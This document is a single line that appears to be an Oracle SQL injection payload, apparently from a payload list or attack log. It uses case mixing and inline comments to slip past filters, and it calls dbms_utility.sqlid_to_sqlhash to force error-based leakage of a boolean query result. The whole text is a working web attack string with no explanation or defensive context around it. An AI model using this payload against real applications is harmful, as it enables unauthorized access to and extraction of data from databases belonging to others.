1) AND AnD/**/2940=dbms_UtILITy.SQlId_to_SQlHash(CHr(126)||~||(selEcT/**/(caSe/**/WheN/**/(2940=2940)/**/ThEn/**/1/**/Else/**/0/**/EnD)/**/frOM/**/dUAL)||~||chR(126))– – 1